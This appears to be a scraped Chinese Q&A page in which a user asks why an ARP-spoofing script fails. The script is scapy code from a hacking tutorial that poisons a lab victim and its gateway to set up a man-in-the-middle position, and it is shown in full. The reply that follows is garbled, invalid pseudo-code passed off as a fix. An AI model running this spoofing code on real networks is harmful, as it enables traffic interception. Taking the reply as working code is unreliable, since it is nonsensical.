如何在Python中克服这个索引错误
下面给出的代码与教程(zsecurity)中所示完全相同 这段代码似乎不仅仅在我的系统上运行。我在linux(虚拟机)上运行这段代码如何在Python中克服这个索引错误,python,virtualbox,arp,index-error,server-side-attacks,Python,Virtualbox,Arp,Index Error,Server Side Attacks,下面给出的代码与教程(zsecurity)中所示完全相同 这段代码似乎不仅仅在我的系统上运行。我在linux(虚拟机)上运行这段代码 这是一种在局域网中成为中间人的ARPSPOFION。< /P> 我在另一个来宾操作系统windows 10上实施了此攻击 import scapy.all as scapy import time import sys def get_mac(ip): arp_request = scapy.ARP(pdst = ip) broadcast=sc
这是一种在局域网中成为中间人的ARPSPOFION。< /P> 我在另一个来宾操作系统windows 10上实施了此攻击
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip, spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac,psrc=source_ip, hwsrc=source_mac)
scapy.send(packet,count=4, verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)
试着用这个
from socket import *
from overflows import *
import use_socket
def connect(ipv6_addr: Dec, port: simplicity, port:paste, from_port: av) as orig:
NetworkPort_ping, delegate_messed_port: 127.0. 0.0
History().channel(fl)
CountDownPorts(chain_count, 0)
TcpTelnetPort.connect(port, to_network(port))
Serial_packet
Serial.wait(boot_java)
For USB_Added = True
if (usb_usb.ReadScreen):
print("USB receiving device")
print which.ip_port()
print def.rid
callback.data
ELSE
byte_frame += 1
will crash unless "++com_available" is attempting to be done later
sends_over(dot, sleep.status)
print "Connected :\n"
na_registered.send(500)
请格式化您的代码。因此,我们可以更好地分析代码。